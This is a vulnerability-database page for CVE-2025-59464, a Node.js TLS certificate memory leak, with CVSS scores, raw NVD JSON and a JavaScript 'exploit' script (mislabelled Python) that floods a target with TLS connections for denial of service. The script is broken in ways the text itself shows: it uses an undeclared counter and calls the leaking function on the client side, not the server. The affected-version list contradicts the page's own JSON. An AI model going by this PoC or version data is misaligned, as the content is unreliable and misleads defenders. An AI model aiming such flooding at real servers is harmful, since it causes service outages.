CVE-2025-59464

Description

A memory leak in Node.js’s OpenSSL integration occurs when converting `X.509` certificate fields to UTF-8 without freeing the allocated buffer. When applications call `socket.getPeerCertificate(true)`, each certificate field leaks memory, allowing remote clients to trigger steady memory growth through repeated TLS connections. Over time this can lead to resource exhaustion and denial of service.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:nodejs:node.js:*:*:*:*:-:*:*:* - VULNERABLE

Node.js < 18.x.x (需要确认具体修复版本)

Node.js < 20.x.x (需要确认具体修复版本)

Node.js < 22.x.x (需要确认具体修复版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

const https = require('https');
const http = require('http');

// CVE-2025-59464 PoC - Memory exhaustion through repeated TLS connections
// Target: Node.js server with vulnerable getPeerCertificate(true) usage

const TARGET_HOST = 'vulnerable-server.example.com';
const TARGET_PORT = 443;
const NUM_REQUESTS = 1000;

function triggerMemoryLeak() {
    return new Promise((resolve, reject) => {
        const options = {
            hostname: TARGET_HOST,
            port: TARGET_PORT,
            path: '/',
            method: 'GET',
            rejectUnauthorized: false
        };

        const req = https.request(options, (res) => {
            // Trigger memory leak by calling getPeerCertificate(true)
            const cert = res.socket.getPeerCertificate(true);
            if (cert) {
                console.log(`Connection ${++connectionCount}: Certificate retrieved, memory leaked`);
            }
            res.on('data', () => {});
            res.on('end', resolve);
        });

        req.on('error', reject);
        req.end();
    });
}

async function exploit() {
    console.log(`[*] Starting CVE-2025-59464 exploitation`);
    console.log(`[*] Target: ${TARGET_HOST}:${TARGET_PORT}`);
    console.log(`[*] Sending ${NUM_REQUESTS} malicious TLS requests...\n`);

    let connectionCount = 0;

    for (let i = 0; i < NUM_REQUESTS; i++) {
        try {
            await triggerMemoryLeak();
            if (i % 100 === 0) {
                console.log(`[+] Progress: ${i}/${NUM_REQUESTS} requests sent`);
            }
        } catch (e) {
            console.error(`[-] Request ${i} failed: ${e.message}`);
        }
    }

    console.log(`\n[!] Attack completed. Monitor server memory usage.`);
    console.log(`[!] Expected result: Memory exhaustion leading to DoS`);
}

// Run the exploit
if (require.main === module) {
    exploit().catch(console.error);
}

module.exports = { triggerMemoryLeak, exploit };

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-59464
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-59464
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-59464/
[4] VulDB https://vuldb.com/cve/CVE-2025-59464
[5] https://nodejs.org/en/blog/vulnerability/december-2025-security-releases

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-59464", "sourceIdentifier": "[email protected]", "published": "2026-01-20T21:16:03.900", "lastModified": "2026-01-30T20:26:26.333", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A memory leak in Node.js’s OpenSSL integration occurs when converting `X.509` certificate fields to UTF-8 without freeing the allocated buffer. When applications call `socket.getPeerCertificate(true)`, each certificate field leaks memory, allowing remote clients to trigger steady memory growth through repeated TLS connections. Over time this can lead to resource exhaustion and denial of service."}, {"lang": "es", "value": "Una fuga de memoria en la integración de OpenSSL de Node.js ocurre al convertir campos de certificado 'X.509' a UTF-8 sin liberar el búfer asignado. Cuando las aplicaciones llaman a 'socket.getPeerCertificate(true)', cada campo de certificado fuga memoria, permitiendo a clientes remotos desencadenar un crecimiento constante de la memoria a través de conexiones TLS repetidas. Con el tiempo, esto puede llevar al agotamiento de recursos y a la denegación de servicio."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nodejs:node.js:*:*:*:*:-:*:*:*", "versionStartIncluding": "24.0.0", "versionEndExcluding": "24.12.0", "matchCriteriaId": "C2C21118-9E06-473D-8287-10F2181A067B"}]}]}], "references": [{"url": "https://nodejs.org/en/blog/vulnerability/december-2025-security-releases", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}